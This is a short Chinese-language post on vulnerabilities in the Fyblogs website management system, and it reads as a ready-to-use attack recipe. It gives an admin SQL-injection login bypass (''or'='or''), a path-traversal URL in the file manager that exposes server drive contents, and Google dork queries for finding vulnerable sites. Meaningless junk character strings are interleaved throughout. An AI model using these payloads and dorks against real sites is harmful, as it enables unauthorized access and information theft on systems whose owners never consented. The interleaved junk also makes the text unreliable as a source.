Fyblogs网站管理系统漏洞

admin

后台万能密码 'or'='or'
% h2 f$ y! f7 c3 p- }
后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
$ v% r3 b% ?# S4 g8 hadmin/uploadfile.asp?currentFolder=/upfiles/../

: m! P! `* _+ A漏洞证明：
' W1 z7 P1 X. i
谷歌：inurl:type.asp?id=1 新闻中心
或者 ：inurl:download_ok.asp?

4 b( j( g& N- c0 a% y